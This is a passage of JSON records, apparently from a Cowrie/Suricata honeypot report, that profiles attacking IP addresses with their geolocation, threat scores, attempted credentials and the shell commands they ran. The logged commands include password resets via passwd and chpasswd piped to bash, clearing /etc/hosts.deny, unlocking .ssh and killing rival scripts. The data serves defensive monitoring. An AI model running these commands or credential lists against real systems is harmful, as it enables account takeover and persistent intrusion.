      "last_seen": "2026-03-12T04:39:58.472Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "awsuser",
        "paula",
        "ai",
        "backup",
        "center",
        "deamon_root",
        "fukahori",
        "iwami",
        "jhlee",
        "man",
        "nexus5",
        "osmc",
        "proxy",
        "roman",
        "root",
        "tmp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111",
        "1234",
        "12345",
        "123456",
        "12345678",
        "1q2w3e4r",
        "Qwerty@123",
        "center",
        "deamon_root123!",
        "fukahori",
        "iwami",
        "jhlee1234",
        "nexus5",
        "osmc",
        "password",
        "qwertyuiop"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nBKBB39ufSBJ2\\nBKBB39ufSBJ2\\n\"|passwd",
        "echo \"1234\\noiXw8rUsscSI\\noiXw8rUsscSI\\n\"|passwd",
        "echo -e \"12345\\nBKBB39ufSBJ2\\nBKBB39ufSBJ2\"|passwd|bash",
        "echo -e \"1234\\noiXw8rUsscSI\\noiXw8rUsscSI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 265,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:39:31.552000+00:00",
        "last_seen_30d": "2026-03-12T04:41:03.074000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 47
      }
    },
    "139.99.133.77": {
      "attack_count": 208,
      "first_seen": "2026-03-02T00:00:24.714Z",
      "last_seen": "2026-03-21T18:41:19.963Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "leon",
        "tester",
        "data",
        "db2inst1",
        "javier",
        "minioadmin",
        "sftptest",
        "vagrant",
        "web_admin"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Bismillah",
        "Db2inst1123!",
        "Leon123",
        "Root2025",
        "Tester123!",
        "Tk123456!",
        "asd123..",
        "data1234",
        "opengate",
        "password",
        "sftptest123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Leon123\\nUlwKmATOkUoE\\nUlwKmATOkUoE\\n\"|passwd",
        "echo \"Tester123!\\nGE5xqZ9IoIxb\\nGE5xqZ9IoIxb\\n\"|passwd",
        "echo -e \"Leon123\\nUlwKmATOkUoE\\nUlwKmATOkUoE\"|passwd|bash",
        "echo -e \"Tester123!\\nGE5xqZ9IoIxb\\nGE5xqZ9IoIxb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 251,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:24.714000+00:00",
        "last_seen_30d": "2026-03-21T18:42:21.321000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 208,
        "Suricata": 43
      }
    },
    "172.208.69.47": {
      "attack_count": 191,
      "first_seen": "2026-03-04T11:59:28.025Z",
      "last_seen": "2026-03-04T12:28:27.289Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "ABcd1234",
        "Aa@1234567890",
        "Aa_123456",
        "Az123456.",
        "Bingo@1993",
        "Master@2024",
        "UBUNTU@123",
        "Zl123456",
        "qwert123",
        "zxcvbnm,./",
        "zzzzzzzz"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Cv8ZREo7nECK\"|chpasswd|bash",
        "echo \"root:e6kGZoDIknYe\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T11:59:28.025000+00:00",
        "last_seen_30d": "2026-03-04T12:29:35.209000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 35
      }
    },
    "104.218.166.62": {
      "attack_count": 188,
      "first_seen": "2026-03-19T19:11:44.523Z",
      "last_seen": "2026-03-19T19:33:56.492Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "max",
        "postgres",
        "eder",
        "john",
        "m1",
        "mob",
        "odin",
        "qwerty",
        "root",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "12345",
        "Aa@1234567",
        "Eder123",
        "M1123",
        "john",
        "password",
        "postgres123",
        "testpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\n3p0IL9ByCAvd\\n3p0IL9ByCAvd\\n\"|passwd",
        "echo \"postgres123\\n1kRPfk6unr32\\n1kRPfk6unr32\\n\"|passwd",
        "echo -e \"1\\n3p0IL9ByCAvd\\n3p0IL9ByCAvd\"|passwd|bash",
        "echo -e \"postgres123\\n1kRPfk6unr32\\n1kRPfk6unr32\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:11:44.523000+00:00",
        "last_seen_30d": "2026-03-19T19:35:05.600000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "165.227.83.74": {
      "attack_count": 188,
      "first_seen": "2026-03-15T19:45:44.323Z",
      "last_seen": "2026-03-15T20:01:38.969Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "common",
        "prueba",
        "admins",
        "ftpadmin",
        "gosha",
        "mailuser",
        "pzuser",
        "root",
        "tv",
        "yocto"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123qaz!@#",
        "Admins123",
        "mailuser",
        "password",
        "yocto123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nr9lPn3XJswc5\\nr9lPn3XJswc5\\n\"|passwd",
        "echo \"1234\\nFycpkxCXrjMf\\nFycpkxCXrjMf\\n\"|passwd",
        "echo -e \"12345678\\nr9lPn3XJswc5\\nr9lPn3XJswc5\"|passwd|bash",
        "echo -e \"1234\\nFycpkxCXrjMf\\nFycpkxCXrjMf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:45:44.323000+00:00",
        "last_seen_30d": "2026-03-15T20:02:42.620000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 31
      }
    },
    "83.168.90.177": {
      "attack_count": 188,
      "first_seen": "2026-03-17T22:05:17.001Z",
      "last_seen": "2026-03-17T22:25:08.140Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "huang",
        "rachel",
        "openvpn",
        "paid",
        "proradis",
        "root",
        "sftpuser",
        "steamcmd",
        "thomas",
        "was"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Proradis123!",
        "Sftpuser123",
        "huang123",
        "openvpnpass",
        "rachel123!",
        "was",
        "water123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"huang123\\nyx4PvdB9qxeM\\nyx4PvdB9qxeM\\n\"|passwd",
        "echo \"rachel123!\\nXk2La0P67qAI\\nXk2La0P67qAI\\n\"|passwd",
        "echo -e \"huang123\\nyx4PvdB9qxeM\\nyx4PvdB9qxeM\"|passwd|bash",
        "echo -e \"rachel123!\\nXk2La0P67qAI\\nXk2La0P67qAI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 35179,
      "as_org": "Korbank S. A.",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:05:17.001000+00:00",
        "last_seen_30d": "2026-03-17T22:26:09.730000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "41.58.186.130": {
      "attack_count": 187,
      "first_seen": "2026-03-05T20:57:01.554Z",
      "last_seen": "2026-03-05T21:21:48.390Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "erpnext",
        "ovh",
        "gosha",
        "matin",
        "perforce",
        "personal",
        "ravi",
        "root",
        "web"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "Matin123",
        "a@123456",
        "ovh123",
        "password",
        "personal123!",
        "ravi123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nntHMjkq4QfL9\\nntHMjkq4QfL9\\n\"|passwd",
        "echo \"ovh123\\nFB0VltOOHFv4\\nFB0VltOOHFv4\\n\"|passwd",
        "echo -e \"123456\\nntHMjkq4QfL9\\nntHMjkq4QfL9\"|passwd|bash",
        "echo -e \"ovh123\\nFB0VltOOHFv4\\nFB0VltOOHFv4\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 36923,
      "as_org": "SWIFTNG-ASN",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:57:01.554000+00:00",
        "last_seen_30d": "2026-03-05T21:22:56.697000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 35
      }
    },
    "5.180.183.198": {
      "attack_count": 187,
      "first_seen": "2026-03-16T14:23:30.353Z",
      "last_seen": "2026-03-16T14:47:32.752Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rtest",
        "adminer",
        "apolo",
        "bert",
        "ceshi",
        "coder",
        "cody",
        "sansforensics"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Apolo123",
        "Fw123456@",
        "abc123!@#",
        "bert",
        "ceshi1234",
        "coder123!",
        "password",
        "rtest123",
        "sansforensicspass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:yZgssnvujdaS\"|chpasswd|bash",
        "echo \"rtest123\\nSaJsYjnipOoY\\nSaJsYjnipOoY\\n\"|passwd",
        "echo -e \"rtest123\\nSaJsYjnipOoY\\nSaJsYjnipOoY\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 41436,
      "as_org": "Kamatera Inc",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:23:30.353000+00:00",
        "last_seen_30d": "2026-03-16T14:48:38.540000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 32
      }
    },
    "203.205.37.233": {
      "attack_count": 158,
      "first_seen": "2026-03-26T10:13:43.854Z",
      "last_seen": "2026-03-26T10:30:35.412Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "pro",
        "admin",
        "drush",
        "obfuscator",
        "supersets"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "admin1234",
        "drush",
        "obfuscator123",
        "pro",
        "supersets"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"pro\\ngqTQGS3swQ4n\\ngqTQGS3swQ4n\\n\"|passwd",
        "echo \"supersets\\njihaL7fBx76Y\\njihaL7fBx76Y\\n\"|passwd",
        "echo -e \"pro\\ngqTQGS3swQ4n\\ngqTQGS3swQ4n\"|passwd|bash",
        "echo -e \"supersets\\njihaL7fBx76Y\\njihaL7fBx76Y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 45903,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:13:43.854000+00:00",
        "last_seen_30d": "2026-03-26T10:36:27.502000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 19
      }
    },
    "151.80.141.196": {
      "attack_count": 144,
      "first_seen": "2026-03-19T10:37:37.884Z",
      "last_seen": "2026-03-19T11:03:23.639Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "claudio",
        "345gs5662d34",
        "admins",
        "backup",
        "bala",
        "emily",
        "jorge",
        "mailuser",
        "me",
        "noc",
        "portal",
        "smart",
        "squid",
        "stream",
        "tidb",
        "upload"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Emily123!",
        "Me",
        "bala123",
        "jorge@123456",
        "password",
        "portalpass",
        "smart@123456",
        "squid123",
        "stream",
        "upload@123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\ne1nU4hb2CKas\\ne1nU4hb2CKas\\n\"|passwd",
        "echo -e \"12345\\ne1nU4hb2CKas\\ne1nU4hb2CKas\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:37:37.884000+00:00",
        "last_seen_30d": "2026-03-19T11:04:30.853000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "168.144.24.208": {
      "attack_count": 138,
      "first_seen": "2026-03-11T06:52:44.512Z",
      "last_seen": "2026-03-11T07:14:30.161Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "admin",
        "password",
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456789",
        "1q2w3e4r",
        "654321",
        "P@ssw0rd",
        "admin123",
        "passw0rd",
        "password1",
        "qwerty",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 194,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T06:52:44.512000+00:00",
        "last_seen_30d": "2026-03-11T07:15:31.797000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 138,
        "Suricata": 56
      }
    },
    "135.125.200.99": {
      "attack_count": 123,
      "first_seen": "2026-03-11T01:10:26.620Z",
      "last_seen": "2026-03-11T01:28:12.759Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "amine",
        "clawd",
        "den",
        "ftpuser2",
        "info",
        "itadmin",
        "mobile",
        "saad",
        "webftp"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin#2026",
        "Mobile123!",
        "clawd@123",
        "ftpuser2pass",
        "password",
        "saad1234",
        "yd123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:UwrrnwHWM9Hq\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
